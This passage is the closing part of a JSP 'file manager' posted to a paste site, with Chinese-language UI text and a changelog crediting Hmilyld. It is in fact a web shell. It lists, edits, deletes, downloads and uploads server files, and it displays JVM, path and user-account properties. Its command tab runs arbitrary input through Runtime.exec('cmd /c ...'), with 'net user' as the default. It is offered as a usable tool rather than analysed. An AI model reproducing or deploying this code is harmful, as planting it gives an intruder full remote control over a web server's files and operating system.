  846. "yyyy-MM-dd hh:mm:ss");
  847. strDT = dd.format(dt);
  848. sbFile
  849. .append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
  850. sbFile.append("" + list[i].getName());
  851. sbFile.append("</td><td>");
  852. sbFile.append("" + strLen);
  853. sbFile.append("</td><td>");
  854. sbFile.append("" + strDT);
  855. sbFile.append("</td><td>");
  856. for (int temp = 0; temp < 4; temp++) {
  857. String action;
  858. String actionName;
  859. if (temp == 0) {
  860. action = "edit";
  861. actionName = strFileEdit[languageNo];
  862. } else if (temp == 1) {
  863. action = "del";
  864. actionName = strFileDel[languageNo];
  865. } else if (temp == 2) {
  866. action = "down";
  867. actionName = strFileDown[languageNo];
  868. } else {
  869. action = "copy";
  870. actionName = strFileCopy[languageNo];
  871. }
  872. ;
  873. sbFile
  874. .append("&nbsp;<a href=\"javascript:doForm('"
  875. + action + "','");
  876. sbFile.append(formatPath(strDir) + "','");
  877. sbFile.append(list[i].getName());
  878. sbFile.append("','" + strCmd + "','" + tabID
  879. + "','');\">");
  880. sbFile.append(actionName + "</a>");
  881. }
  882. sbFile.append("</td></tr>");
  883. }
  884. }
  885. } catch (Exception e) {
  886. out.println("<font color=red>&#25805;&#20316;&#22833;&#36133;&#65306; " + e.toString()
  887. + "</font>");
  888. }
  889. %>
  890. <DIV id="tabcontentcontainer">
  891. <div id="menu3" class="tabcontent">
  892. <%
  893. Properties prop = new Properties(System.getProperties());
  894. %>
  895. <ol>
  896. <li>JVM&#29256;&#26412;&#21495;:<%=prop.getProperty("java.vm.version")%></li>
  897. <li>JAVA&#23433;&#35013;&#30446;&#24405;:<%=prop.getProperty("java.home")%></li>
  898. <li>JAVA&#31867;&#36335;&#24452;:<%=prop.getProperty("java.class.path")%></li>
  899. <li>&#29992;&#25143;&#25152;&#23646;&#22269;&#23478;:<%=prop.getProperty("user.country")%></li>
  900. <li>&#25805;&#20316;&#31995;&#32479;:<%=prop.getProperty("os.name")%></li>
  901. <li>&#23383;&#31526;&#38598;:<%=prop.getProperty("sun.jnu.encoding")%></li>
  902. <li>&#24403;&#21069;&#25991;&#20214;&#32477;&#23545;&#36335;&#24452;:<%=application.getRealPath(strThisFile)%></li>
  903. <li>&#24403;&#21069;&#25991;&#20214;URL&#36335;&#24452;:<%=request.getRequestURL().toString()%></li>
  904. <li>&#29992;&#25143;&#24403;&#21069;&#24037;&#20316;&#30446;&#24405;:<%=prop.getProperty("user.dir")%></li>
  905. <li>&#29992;&#25143;&#20027;&#30446;&#24405;:<%=prop.getProperty("user.home")%></li>
  906. <li>&#29992;&#25143;&#36134;&#25143;&#21517;&#31216;:<%=prop.getProperty("user.name")%></li>
  907. <li>&#20869;&#23384;&#20351;&#29992;&#24773;&#20917;:
  908. <ul>
  909. <%
  910. long endMem = Runtime.getRuntime().freeMemory();
  911. long total = Runtime.getRuntime().maxMemory();
  912. out.println("<li>Total Memory:" + total + "</li>");
  913. out.println("<li>Start Memory:" + startMem + "</li>");
  914. out.println("<li>End Memory:" + endMem + "</li>");
  915. out.println("<li>Use memory: " + (startMem - endMem) + "</li>");
  916. long endTime = System.currentTimeMillis();
  917. out.println("<li>Use Time: " + (endTime - startTime) + "</li>");
  918. %>
  919. </ul>
  920. </li>
  921. </ol>
  922. </div>
  923. <div id="menu4" class="tabcontent">
  924. <ul>
  925. <li>&#21151;&#33021;&#35828;&#26126;</li>
  926. <ol>
  927. <li>jsp &#29256;&#26412;&#30340;&#25991;&#20214;&#31649;&#29702;&#22120;&#65292;&#36890;&#36807;&#35813;&#31243;&#24207;&#21487;&#20197;&#36828;&#31243;&#31649;&#29702;&#26381;&#21153;&#22120;&#19978;&#30340;&#25991;&#20214;&#31995;&#32479;&#65292;&#24744;&#21487;&#20197;&#26032;&#24314;&#12289;&#20462;&#25913;&#12289;&#21024;&#38500;&#12289;&#19979;&#36733;&#25991;&#20214;&#21644;&#30446;&#24405;&#12290;</li>
  928. <li>&#23545;&#20110;windows&#31995;&#32479;&#65292;&#36824;&#25552;&#20379;&#20102;&#21629;&#20196;&#34892;&#31383;&#21475;&#30340;&#21151;&#33021;&#65292;&#21487;&#20197;&#36816;&#34892;&#19968;&#20123;&#31243;&#24207;&#65292;&#31867;&#20284;&#19982;windows&#30340;cmd&#12290;</li>
  929. </ol>
  930. <li>&#29256;&#26435;&#35828;&#26126;</li>
  931. <ol>
  932. <li>&#26412;&#31243;&#24207;&#29256;&#26435;&#24402;&#21407;&#20316;&#32773;&#25152;&#26377;,Hmilyld&#20165;&#23545;&#31243;&#24207;&#23616;&#37096;&#20462;&#25913;</li>
  933. <li>&#32852;&#31995;Hmilyld:<a href="http://www.hmilyld.cn" target="_blank">http://www.hmilyld.cn</a> <a href="http://www.whylover.com" target="_blank">http://www.whylover.com</a></li>
  934. </ol>
  935. <li>&#26356;&#26032;&#35760;&#24405;</li>
  936. <ol>
  937. <li>2008.05.16&nbsp;&#21024;&#38500;&#24490;&#29615;&#33719;&#21462;&#31995;&#32479;&#30456;&#20851;&#23646;&#24615;&#21151;&#33021;,&#21407;&#22240;&#35265;bug - Hmilyld</li>
  938. <li>2008.05.16&nbsp;&#22686;&#21152;&#23545;&#25351;&#23450;&#30446;&#24405;&#36339;&#36716;&#21151;&#33021;,&#20462;&#25913;&#38656;&#22312;&#25991;&#20214;&#20013;&#25351;&#23450;&#25991;&#20214;&#21517;&#30340;&#25805;&#20316;,&#33258;&#21160;&#33719;&#21462; - Hmilyld</li>
  939. <li>2008.05.15&nbsp;&#22686;&#21152;&#23545;&#27983;&#35272;&#30446;&#24405;&#25351;&#23450;&#25171;&#21253;&#21151;&#33021;,&#22686;&#21152;&#21024;&#38500;&#30446;&#24405;&#21151;&#33021; - Hmilyld</li>
  940. <li>2007.12.27&nbsp;&#22686;&#21152;&#30331;&#24405;&#39564;&#35777;&#21151;&#33021; - Hmilyld</li>
  941. <li>2007.12.26&nbsp;&#20462;&#25913;&#31243;&#24207;&#37096;&#20998;&#19981;&#25512;&#33616;&#20351;&#29992;&#30340;&#26041;&#27861;,&#22686;&#21152;&#31995;&#32479;&#22522;&#26412;&#23646;&#24615;&#26597;&#30475;&#21151;&#33021;,&#37096;&#20998;&#20195;&#30721;&#37325;&#20889; - Hmilyld</li>
  942. <li>2004.11.15&nbsp;V0.9&#27979;&#35797;&#29256;&#21457;&#24067;&#65292;&#22686;&#21152;&#20102;&#19968;&#20123;&#22522;&#26412;&#30340;&#21151;&#33021;&#65292;&#25991;&#20214;&#32534;&#36753;&#12289;&#22797;&#21046;&#12289;&#21024;&#38500;&#12289;&#19979;&#36733;&#12289;&#19978;&#20256;&#20197;&#21450;&#26032;&#24314;&#25991;&#20214;&#30446;&#24405;&#21151;&#33021;</li>
  943. <li>2004.10.27&nbsp;&#26242;&#26102;&#23450;&#20026;0.6&#29256;&#21543;&#65292; &#25552;&#20379;&#20102;&#30446;&#24405;&#25991;&#20214;&#27983;&#35272;&#21151;&#33021; &#21644; cmd&#21151;&#33021;</li>
  944. <li>2004.09.20&nbsp;&#31532;&#19968;&#20010;jsp&#31243;&#24207;&#23601;&#26159;&#36825;&#20010;&#31616;&#21333;&#30340;&#26174;&#31034;&#30446;&#24405;&#25991;&#20214;&#30340;&#23567;&#31243;&#24207;</li>
  945. </ol>
  946. <li>Bug&#35828;&#26126;</li>
  947. <ol>
  948. <li>&#24403;&#19978;&#20256;&#25991;&#20214;&#26102;,&#22914;&#25991;&#20214;&#25152;&#22312;&#39033;&#30446;&#20013;&#20351;&#29992;&#21040;Struts&#30456;&#20851;jar&#21253;,&#20250;&#20986;&#29616;&#24322;&#24120;&#24773;&#20917;</li>
  949. <li>&#24490;&#29615;&#21015;&#20030;&#20986;&#31995;&#32479;&#30456;&#20851;&#23646;&#24615;&#26102;,&#20250;&#25243;&#20986;&#24322;&#24120;,&#27492;&#21151;&#33021;&#24050;&#21024;&#38500;(&#21407;&#22240;&#19981;&#35814;,&#22312;&#19968;&#20123;&#26426;&#22120;&#19978;&#20250;&#20986;&#29616;,&#20294;&#26412;&#26426;&#27979;&#35797;&#26080;&#38382;&#39064;),&#22914;&#38656;&#21152;&#19978;,&#30456;&#20851;&#20195;&#30721;&#22914;&#19979;:</li>
  950. <blockquote>
  951. &lt;%<br />
  952. Properties props=System.getProperties();<br />
  953. Iterator iter=props.keySet().iterator();<br />
  954. while(iter.hasNext())<br />
  955. {<br />
  956. String key=(String)iter.next();<br />
  957. %&gt;<br />
  958. &lt;li&gt;&lt;%=key%&gt;:&lt;%=props.get(key)%&gt;&lt;/li&gt;<br />
  959. &lt;%}
  960. %&gt;
  961. </blockquote>
  962. </ol>
  963. </ul>
  964. </div>
  965. <div id="menu1" class="tabcontent">
  966. <form action="" method="post">
  967. <input type="hidden" name="action" value="goPath">
  968. <input type="hidden" name="file" value="<%=strFile%>">
  969. <input type="hidden" name="cmd" value="<%=strCmd%>">
  970. <input type="hidden" name="tabID" value="1">
  971. <input type="hidden" name="content" value="">
  972. <table border='1' width='100%' bgcolor='#B1CCEA' cellspacing=0
  973. cellpadding=5>
  974. <tr>
  975. <td width='60%'><%=strCurrentFolder[languageNo]%>:
  976. <input type="text" value="<%=strDir%>" name="path" style="width:450px;">
  977. <input type="submit" value="&#36716;&#21040;">
  978. </td>
  979. <td><%=getDrivers()%></td>
  980. </tr>
  981. </table>
  982. </form>
  983. <table width="100%" border="1" cellspacing="0" cellpadding="5">
  984. <tr>
  985. <td width="25%" align="center" valign="top">
  986. <table width="98%" border="0" cellspacing="0" cellpadding="3">
  987. <%=sbFolder%>
  988. </table>
  989. </td>
  990. <td width="81%" align="left" valign="top">
  991. <table width="98%" border="1" cellspacing="1" cellpadding="4"
  992. bgcolor="#ffffff">
  993. <tr bgcolor="#E7e7e6">
  994. <td colspan="4"><%
  995. if (strAction != null && strAction.equals("edit")) {
  996. out.println(sbEdit.toString());
  997. } else if (strAction != null && strAction.equals("copy")) {
  998. out.println(sbCopy.toString());
  999. } else if (strAction != null && strAction.equals("down")) {
  1000. out.println(sbDown.toString());
  1001. } else if (strAction != null && strAction.equals("savecopy")) {
  1002. out.println(sbSaveCopy.toString());
  1003. } else if (strAction != null && strAction.equals("newFile")
  1004. && !sbNewFile.toString().equals("")) {
  1005. out.println(sbNewFile.toString());
  1006. } else if( strAction!=null && "zipFolder".equals(strAction)){
  1007. out.println(sbZip.toString());
  1008. } else {
  1009. out.println("&#25805;&#20316;&#20449;&#24687;&#25552;&#31034;");
  1010. }
  1011. %></td>
  1012. </tr>
  1013. <tr bgcolor="#E7e7e6">
  1014. <td width="26%"><%=strFileName[languageNo]%></td>
  1015. <td width="19%"><%=strFileSize[languageNo]%></td>
  1016. <td width="29%"><%=strLastModified[languageNo]%></td>
  1017. <td width="26%"><%=strFileOperation[languageNo]%></td>
  1018. </tr>
  1019. <%=sbFile%>
  1020. </table>
  1021. </td>
  1022. </tr>
  1023. <tr>
  1024. <td colspan=2 bgcolor=#B1CCEA>
  1025. <form name="frmMake" action="" method="post" class="form1">
  1026. <input type="hidden" name="action" value="newFile">
  1027. <input type="hidden" name="path" value="<%=strDir%>">
  1028. <input type="hidden" name="file" value="<%=strFile%>">
  1029. <input type="hidden" name="cmd" value="<%=strCmd%>">
  1030. <input type="hidden" name="tabID" value="1">
  1031. <input type="hidden" name="content" value="">
  1032. <%
  1033. if (!strDir.endsWith("\\"))
  1034. strDir = strDir + "\\";
  1035. %>
  1036. <input type="text" name="fileName" size=36 value="<%=strDir%>">
  1037. <input type="submit" name="btnNewFile"
  1038. value="<%=strCreateFile[languageNo]%>"
  1039. onclick="frmMake.submit()">
  1040. <input type="submit" name="btnNewDir"
  1041. value="<%=strCreateFolder[languageNo]%>"
  1042. onclick="frmMake.submit()">
  1043. </form>
  1044. <form name="frmUpload" enctype="multipart/form-data" action=""
  1045. method="post" class="form1">
  1046. <input type="hidden" name="action" value="upload">
  1047. <input type="hidden" name="path" value="<%=strDir%>">
  1048. <input type="hidden" name="file" value="<%=strFile%>">
  1049. <input type="hidden" name="cmd" value="<%=strCmd%>">
  1050. <input type="hidden" name="tabID" value="1">
  1051. <input type="hidden" name="content" value="">
  1052. <input type="file" name="cqqUploadFile" size="36">
  1053. <input type="submit" name="submit"
  1054. value="<%=strUpload[languageNo]%>">
  1055. </form>
  1056. </td>
  1057. </tr>
  1058. </table>
  1059. </div>
  1060. <div id="menu2" class="tabcontent">
  1061. <%
  1062. String line = "";
  1063. StringBuffer sbCmd = new StringBuffer("");
  1064. if (strCmd != null) {
  1065. try {
  1066. //out.println(strCmd);
  1067. Process p = Runtime.getRuntime().exec(
  1068. "cmd /c " + strCmd);
  1069. BufferedReader br = new BufferedReader(
  1070. new InputStreamReader(p.getInputStream()));
  1071. while ((line = br.readLine()) != null) {
  1072. sbCmd.append(line + "\r\n");
  1073. }
  1074. } catch (Exception e) {
  1075. System.out.println(e.toString());
  1076. }
  1077. } else {
  1078. strCmd = "net user";
  1079. }
  1080. %>
  1081. <form name="cmd" action="" method="post">
  1082. <input type="text" name="cmd" value="<%=strCmd %>" size=50>
  1083. <input type="hidden" name="tabID" value="2">
  1084. <input type=submit name=submit value="<%=strExecute[languageNo]%>">
  1085. </form>
  1086. <%
  1087. if (sbCmd != null
  1088. && sbCmd.toString().trim().equals("") == false) {
  1089. %>
  1090. <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
  1091. <%}%>
  1092. </DIV>
  1093. </div>
  1094. <%
  1095. }
  1096. %>
  1097. <div align="center" Style="margin: 5px;">
  1098. <a href="http://www.whylover.com" target="_blank">www.hmilyld.cn</a> By Hmilyld&#20462;&#25913;
  1099. </div>
  1100. </body>
  1101. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement